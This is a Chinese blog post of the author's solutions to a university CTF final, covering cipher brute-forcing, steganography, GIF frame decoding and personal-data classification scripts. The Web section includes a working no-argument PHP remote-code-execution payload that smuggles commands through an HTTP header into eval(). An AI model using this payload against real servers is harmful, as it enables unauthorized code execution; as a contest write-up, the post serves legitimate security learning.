第七届浙江省大学生网络与信息安全技能挑战赛个人题解
November 10, 2024 · Legacy Blog ↗
就写了决赛的。累了,太菜了,想退役了。
[签到] 网安知识大挑战-FINAL
密文: 570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89
Key:??????????000000 <= ?是每个题目的答案大写
IV: 12345678
flag格式为 DASTCF{xxxxx},提交时只需要提交括号中间的内容。
选择题是肯定不会做的,反正也就 4^10 种可能性,想着直接写个脚本跑一下就行了。但是这 IV 怎么只有 8 字节,常见的 AES-CBC 不是需要 16 字节吗,ZeroPadding 还是 PKCS7Padding?全都尝试了以下怎么什么都跑不出来?
哦,居然是 Triple DES,被思维定势限制了。写代码吧:
from Crypto.Cipher import DES3
from itertools import product
from tqdm import tqdm
c = bytes.fromhex('570fc2416dad7569c13356820ba67ba628c6a5fcbc73f1c8'
'689612d23c3a779befeacf678f93ff5eb4b58dc09dcb9a89')
iv = b'12345678'
for answers in tqdm(product('ABCD', repeat=10), total=4**10):
key = ("".join(answers)).encode() + b'000000'
aes = DES3.new(key=key, mode=DES3.MODE_CBC, iv=iv)
res = aes.decrypt(c)
if b"DAS" in res:
break
print(key, res)
[Web] wucanrce
<?php
echo "get只接受code欧,flag在上一级目录<br>";
$filename = __FILE__;
highlight_file($filename);
if (isset($_GET['code'])) {
if (!preg_match('/session_id\(|readfile\(/i', $_GET['code'])) {
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['code'])) {
@eval($_GET['code']);
}
} else {
die("不让用session欧,readfile也不行");
}
}
无参 RCE,之前在 XYCTF 的 pharme 做过这个考点,直接把 PoC 抄过来改改。大致思路是把要进一步执行的代码往 HTTP Header 里面塞,然后无参把这个 Header 读出来执行。
import requests
# command = 'var_dump(scandir(".."));'
command = 'print(file_get_contents("../f14g.php"));'
# payload = "var_dump(getallheaders());"
payload = "eval(current(getallheaders()));"
response = requests.get(
f"http://10.1.177.34/?code={payload}",
headers={'Payload': command})
print(response.text[2545:])
[Misc] FinalSign
恭喜你来到这里,你能解开下面的秘密吗?
2c243f2f3b3114345d0a0909333f06100143023b2c55020912
不难注意到,文件中一堆 Tab 和 Space 在。直接尝试一下 SNOW:
$ ./SNOW.EXE -C FinalSign.txt
xorkey:helloworld
直接拿它去 xor 文件中那串十六进制就是了。
cipher = bytes.fromhex('2c243f2f3b3114345d0a0909333f06100143023b2c55020912')
xorkey = b'helloworld'
xorkey = xorkey * (len(cipher) // len(xorkey) + 1)
print(bytes([a ^ b for a, b in zip(cipher, xorkey)]))
[Misc] 非黑即白
给了一个莫名其妙的二进制文件,翻到文件尾看一下,好家伙 a98FIG,这不 GIF 文件(但是前后颠倒)吗?翻回来:
open('非黑即白'[::-1]+'.gif', 'wb').write(open('非黑即白', 'rb').read()[::-1])
发现是一堆或全黑或全白的帧,直接拿 ScreenToGif 给它帧全导出了,然后搓个脚本读一下黑白,直接转写成二进制文件:
import os
from PIL import Image
files = {int(file.split('.')[0].split(' ')[1]):
os.path.join('export', file)
for file in os.listdir('export')}
bit = []
for i in range(len(files)):
img = Image.open(files[i])
gray = img.getpixel((10, 10))[0]
bit.append(1 if gray > 128 else 0)
byte = []
for i in range(0, len(bit), 8):
byte.append(int(''.join(map(str, bit[i:i+8])), 2))
with open('extracted.hex', 'wb') as f:
f.write(bytearray(byte))
一看导出来的是个 Zip 文件,看了一眼有密码:
$ file extracted.hex
extracted.hex: Zip archive data, at least v2.0 to extract, compression method=store
那就找密码呗… 事实上最后找了半天(赛中我是在那对着文件字节扒的,当时还没意识到这个是帧持续时间的标记,一头雾水)。ScreenToGif 里面可以看到每一帧的持续时间,前 14 帧持续时间是变化的,其他帧都是 100ms,所以直接把前 14 帧持续时间按多少个 10ms 抄出来按 ASCII 码转换出来就是密码。或者你也可以(这段代码是赛后写的):
from PIL import Image
gif = Image.open('白即黑非.gif')
durations = []
for frame in range(gif.n_frames):
gif.seek(frame)
duration = gif.info['duration']
durations.append(duration)
print(("".join(chr(duration//10) for duration in durations)).strip())
[Crypto] MyCode
爆破就爆破呗,反正 decrypt 函数都已经给出来了:
from MyCode import decrypt
from itertools import product
from tqdm import tqdm
ciphertext = bytes.fromhex(
'A6B343D2C6BE1B268C3EA4744E3AA9914E29A0789F29'
'9022820299248C23D678442A902B4C24A8784A3EA401')
for i in tqdm(product("0123456789ABCDEF", repeat=5), total=16**5):
key = int.from_bytes(bytes.fromhex('ECB' + "".join(i)), byteorder='big')
plaintext = bytes(decrypt(ciphertext, key))
if b'DASCTF' in plaintext:
break
print(key, plaintext)
哦对了,string 里面有个 hexdigits,但是它同时包括了大写和小写的字母,就变成了 22^5 而不是 16^5,我一开始没意识到然后爆了半天…
[数据安全] datasecurity_classify1
直接按要求搓代码就行了:
import sys
sys.stdout = open('result.csv', 'wt', encoding="utf-8")
data = open('附件/data.csv', 'rt', encoding='utf-8')
_head = data.readline()
print('类型,数据值')
for line in data:
line = line.strip()
if len(line) == 18:
print(f'身份证号,{line}')
elif len(line) == 11:
print(f'手机号,{line}')
else:
print(f'姓名,{line}')
赛时我还手搓了一堆校验,但是后来发现这题完全没有脏数据,按长度分分类就行了。
[数据安全] datasecurity_classify2
拿 Wireshark 看了看,一堆 HTTP POST。直接 tshark dump 出来:
$ tshark -r 附件/data.pcapng -T fields -Y "http && data" -e data > data.hex
然后写个脚本过滤一下(代码在赛后改过,但是应该问题不大):
import sys
import re
sys.stdout = open('result.csv', 'wt', encoding="utf-8")
f = open('data.hex', 'rt', encoding='utf-8')
id_pattern = re.compile(r'[0-9]{6}-? ?[0-9]{8}-? ?[0-9]{3}[0-9X]')
phone_pattern = re.compile(r'[0-9]{3}-? ?[0-9]{4}-? ?[0-9]{4}')
ip_pattern = re.compile(r'((\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)){3})')
def is_valid_id(data: str) -> bool:
src = data[:-1]
end = data[-1]
dust = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
sums = sum(int(src[i]) * dust[i] for i in range(len(src)))
remain = "10X98765432"[sums % 11]
return remain == end
def is_valid_phone(data: str) -> bool:
return int(data[:3]) in \
[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
print('category,value')
for line in f:
line = bytes.fromhex(line.strip()).decode()
for match in id_pattern.findall(line):
formatted = str(match).replace(' ', '').replace('-', '')
if is_valid_id(formatted):
print(f"idcard,{formatted}")
line = line.replace(formatted, '')
for match in ip_pattern.findall(line):
formatted = str(match[0])
print(f"ip,{formatted}")
line = line.replace(formatted, '')
for match in phone_pattern.findall(line):
formatted = str(match).replace(' ', '').replace('-', '')
if is_valid_phone(formatted):
print(f"phone,{formatted}") Tags: #CTF #Writeup #Misc #Web #DASCTF
This article is authored by luoingly and licensed under CC BY-NC 4.0
Permalink: https://luoy.ing/posts/cybersectf-zj-2024-writeup/